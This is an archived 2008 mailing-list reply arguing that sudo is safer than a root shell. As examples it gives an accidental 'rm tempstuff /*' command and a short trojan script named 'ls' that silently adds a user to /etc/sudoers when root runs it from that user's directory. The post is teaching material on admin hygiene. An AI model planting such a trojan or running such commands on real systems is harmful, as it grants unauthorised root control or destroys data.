On Apr 29, 2008, at 2:25 AM, Andreas Förster wrote:
Why working with sudo is safer than working as root is not clear to
me. After all, the danger is not in root but in the uneducated user.
The danger *is* in root, if for no other reason than you must type
"sudo" before you issue that command with the unintended space that
deletes your root directory (e.g. "rm tempstuff /*"). Beyond that,
consider the malicious user who puts the following little script named
"ls" in their home directory:
#! /bin/csh -f
# ls : my little script to give me (joeuser) control of this box
echo 'joeuser ALL=(ALL) ALL' >> /etc/sudoers
rm ./ls
ls $argv
# end of my little script
Then they ask you to fix something in their home dir. So what might
that session look like?
% su
Password:
# cd ~joeuser
# ls
And, if you have '.' in your path, they've got your box and you didn't
even know it ever happened.
That's one reason off the top of my head.
James
--
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095
http://www.jamesstroud.com